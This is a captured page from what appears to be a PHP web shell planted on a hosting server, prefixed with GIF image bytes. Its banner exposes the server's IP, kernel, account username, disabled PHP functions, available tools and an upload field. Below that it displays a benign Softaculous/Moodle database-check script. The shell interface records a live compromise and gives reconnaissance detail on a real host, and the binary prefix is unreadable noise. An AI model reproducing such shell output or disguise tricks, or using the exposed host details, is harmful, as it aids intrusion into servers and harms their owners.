GIF89a=( ý' 7IAXKgNgYvYx\%wh&h}týh%ýs%xý}9ýRýý&ý0%ý (ý.ýý5ýSDýý&ýa)ýx5ýý;c*!&r)ï7õ<{4ý3ýH§KoTýýYýaqýýqýýFý !ý ' !ýNETSCAPE2.0 , =( ýýpH,ý$rýl:x(tJýZý,výýzýýxL.:ýýzýnýýý|Nýýýýý~ýýýýýýý& !ý0`9Rý}ýý"ý"a:Sý~xýýýýýýýýgýýýEýýýýýýýRýýýEýýýýBýý ýý8ýýDýýý"ýný ýHýýLýýDkDýBýýýýýDýýýTýýýH ýGýýA Rý |ýým&ýýE8ýSýkGýAýpxýaýýýR2XBýýE8Iýýý6Xý:vT)ý~ýýqýåýý"F~%xý ý 4#Zý0O|-4BsýX:= Qý SalýýyXJ`G&|shýýK3l7ýB|ý$'7J©*0!ýýDýn=ýPýýýýý0`ýRýljýýýýv>ýýý5 ý.69ýødýýýýýnlvý9ýýf{ýýýPbxýl5}ýpýýýýý3aýýýIýOýýýý!>ýýýiýý9ýý#ýý)pýa ½ ý{ý)vmýý%D~6fýýs}RýDýW Eý`!ý ý&L8xý ý{)x`X/>ý}mýýRý*|`Dý=ý_ ^ý5!_&'aýOý7ýcýý`DCx`ý¥ý9ýYýFýýý`?ýý"ý ýn@`ý} lýý@4>ýd S ývýxNýý"@~dýý=ýgýs~Gýýýýýýud &p8Qý)«lXDýýýýA~HýySunýjýýýk*DýLHý] ýýC"JýýXb~ªwSt}6K,ýýqýS:9*:ýýýlý@ý`ýý ý.ìýt9ýSý[©:ýý=`9Nýýýý{¿ýA !Rý:ýýý6ýýxý0ý_ ý;ýýýýýý^ýýý#ýýýý!ýýýýUýýý;0L1ýýýýýp%AýýU,uýý%ýSýý!ýýý~`ýGýýýý ýýý=4ýnpý3ýýýýýýýýýuýuýn|%2ýIýýrý#0ýýJ``8ý@S@5ýýýý^`8Eý]ý.ýSýýý7 ý ý0ýj SýDý zýýýiýSýýýýý!ýýýlýýw9*ýDýIýnEXýýý &AýGoýQfýýFýý;ýýý}ýJýýýýF5ýýQ|ýýýXýýTýýyýýý]ý o ýýC=ýý:ýýýPB@ DýSý(>ýCýx}`ýýxJ,ýàýýp+eE0`ý}`Aý/NEýý ý9@ýýý Hý7ý!%B0`ýl*ýý!8 2ý%ý ý:ý1ý0Eýýux%nP1ý!ýC)ýP81lýxF#¬{ýýýýB0>ýý
Server IP : 217.18.85.50 / Your IP : 3.138.114.198 Web Server : LiteSpeed System : Linux server50.tr85.dhs.com.tr 3.10.0-962.3.2.lve1.5.85.el7.x86_64 #1 SMP Thu Apr 18 15:18:36 UTC 2024 x86_64 User : ferhatgenc ( ) PHP Version : 7.2.34 Disable Function : restore_ini,mail,openbasedir,f_open,system,dl,array_compare,array_user_key_compare,passthru,cat,exec,popen,proc_close,proc_get_status,proc_nice,proc_open,escapeshellcmd,escapeshellarg,show_source,posix_mkfifo,ini_restore,mysql_list_dbs,getmyuid,pconnect,link,symlink,fin,passthruexec,fileread,shell_exec,pcntl_exec,ini_alter,leak,apache_child_terminate,chown,posix_kill,posix_setpgid,posix_setsid,posix_setuid,proc_terminate,syslog,allow_url_fopen,fpassthru,execute,shell,chgrp,passthru,socket_select,socket_create,socket_create_listen,socket_create_pair,socket_listen,socket_accept,socket_bind,foreach,socket_strerror,pcntl_fork,pcntl_signal,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,openlog,apache_get_version,apache_getenv,apache_note,apache_setenv,virtualal MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /var/softaculous/moodle40/ |
Upload File : |
<?php /** * Does the database server claim to have support for UTF-8 Multibyte (utf8mb4) collation? * * libmysql supports utf8mb4 since 5.5.3 (same version as the MySQL server). mysqlnd supports utf8mb4 since 5.0.9. * * @return boolean * * @since CMS 3.5.0 */ function serverClaimsUtf8mb4Support() { if(!is_large_prefix_enabled()){ return false; } $client_version = mysqli_get_client_info(); if (strpos($client_version, 'mysqlnd') !== false) { $client_version = preg_replace('/^\D+([\d.]+).*/', '$1', $client_version); return version_compare($client_version, '5.0.9', '>='); } else { return version_compare($client_version, '5.5.3', '>='); } } function get_dbtype() { $con = mysqli_connect("[[softdbhost]]","[[softdbuser]]","[[softdbpass]]","[[softdb]]"); $details = mysqli_get_server_info($con); if(preg_match('/mariadb/is', $details)){ return 'mariadb'; } return 'mysqli'; } function get_engine_type(){ return 'innodb'; } /** * Get the version of the database connector. * * @return string The database connector version. * * @since 12.1 */ function getVersion(){ global $con; $con = mysqli_connect("[[softdbhost]]","[[softdbuser]]","[[softdbpass]]","[[softdb]]"); $ver = mysqli_get_server_info($con); if(preg_match('/mariadb/is', $ver)){ preg_match('/-(.*?)-mariadb/is', $ver, $matches); if(empty($matches[1])){ preg_match('/(.*?)-mariadb/is', $ver, $matches); } if(!empty($matches[1])){ $ver = $matches[1]; } } return $ver; } function get_row_format($table = null) { global $con; $rowformat = null; if (is_antelope_file_format_no_more_supported()) { $rowformat = 'Barracuda'; return $rowformat; } $sql = "SHOW VARIABLES LIKE 'innodb_file_format'"; $result = mysqli_query($con, $sql); if ($rec = $result->fetch_assoc()) { // MySQL 8 BC: information_schema.* returns the fields in upper case. $rec = array_change_key_case($rec, CASE_LOWER); if (isset($table)) { $rowformat = $rec['row_format']; } else { $rowformat = $rec['value']; } } return $rowformat; } function is_antelope_file_format_no_more_supported() { // Breaking change: Antelope file format support has been removed from both MySQL and MariaDB. // The following InnoDB file format configuration parameters were deprecated and then removed: // - innodb_file_format // - innodb_file_format_check // - innodb_file_format_max // - innodb_large_prefix // 1. MySQL: deprecated in 5.7.7 and removed 8.0.0+. $ismysqlge8d0d0 = (get_dbtype() == 'mysqli') && version_compare(getVersion(), '8.0.0', '>='); // 2. MariaDB: deprecated in 10.2.0 and removed 10.3.1+. $ismariadbge10d3d1 = (get_dbtype() == 'mariadb') && version_compare(getVersion(), '10.3.1', '>='); return $ismysqlge8d0d0 || $ismariadbge10d3d1; } function is_compressed_row_format_supported($cached = true) { $engine = get_engine_type(); $info = getVersion(); if (version_compare($info, '5.5.0') < 0) { // MySQL 5.1 is not supported here because we cannot read the file format. $compressedrowformatsupported = false; } else if ($engine !== 'innodb' and $engine !== 'xtradb') { // Other engines are not supported, most probably not compatible. $compressedrowformatsupported = false; } else if (!is_file_per_table_enabled()) { $compressedrowformatsupported = false; } else if (get_row_format() !== 'Barracuda') { $compressedrowformatsupported = false; } else { // All the tests passed, we can safely use ROW_FORMAT=Compressed in sql statements. $compressedrowformatsupported = true; } return $compressedrowformatsupported; } function is_file_per_table_enabled() { global $con; $sql = "SHOW VARIABLES LIKE 'innodb_file_per_table'"; $result = mysqli_query($con, $sql); if ($rec = $result->fetch_assoc()) { // MySQL 8 BC: information_schema.* returns the fields in upper case. $rec = array_change_key_case($rec, CASE_LOWER); if ($rec['value'] == 'ON') { return true; } } return false; } function get_row_format_sql($engine = null, $collation = null) { $rowformat = ''; $serverClaimsUtf8mb4Support = serverClaimsUtf8mb4Support(); $engine = get_engine_type(); if (($engine === 'innodb' || $engine === 'xtradb') && !empty($serverClaimsUtf8mb4Support)) { if (is_compressed_row_format_supported()) { $rowformat = "ROW_FORMAT=COMPRESSED"; } else { $rowformat = "ROW_FORMAT=DYNAMIC"; } } return $rowformat; } function is_large_prefix_enabled() { global $con; if (is_antelope_file_format_no_more_supported()) { // Breaking change: Antelope file format support has been removed, only Barracuda. return true; } $sql = "SHOW VARIABLES LIKE 'innodb_large_prefix'"; $result = mysqli_query($con, $sql); if ($rec = $result->fetch_assoc()) { // MySQL 8 BC: information_schema.* returns the fields in upper case. $rec = array_change_key_case($rec, CASE_LOWER); if ($rec['value'] == 'ON') { return true; } } return false; } function detect_collation(){ // Create connection $con = mysqli_connect("[[softdbhost]]","[[softdbuser]]","[[softdbpass]]","[[softdb]]"); // We want only utf8 compatible collations. $collation = null; $query = "SHOW COLLATION WHERE Collation LIKE 'utf8mb4\_%' AND Charset = 'utf8mb4'"; $result = mysqli_query($con, $query); while ($row = mysqli_fetch_assoc($result)) { $collation = $row['Collation']; if (strtoupper($row['Default']) === 'YES') { $collation = $row['Collation']; break; } } if (!$collation) { $result = mysqli_fetch_array(mysqli_query($con, "SELECT @@collation_database;")); $value = $result['@@collation_database']; if (strpos($value, 'utf8_') === 0 || strpos($value, 'utf8mb4_') === 0) { $collation = $value; } } return $collation; } $serverClaimsUtf8mb4Support = serverClaimsUtf8mb4Support(); $row_format = get_row_format_sql(); $collation = detect_collation(); if(!empty($serverClaimsUtf8mb4Support) && !empty($row_format)){ echo $utf8 = '<claim_utf8>utf8mb4</claim_utf8>'; echo '</br>'; echo '<row_format>'.$row_format.'</row_format>'; } if(!empty($utf8) && $utf8 == '<claim_utf8>utf8mb4</claim_utf8>'){ echo '</br>'; echo '<collation>'.$collation.'</collation>'; } ?>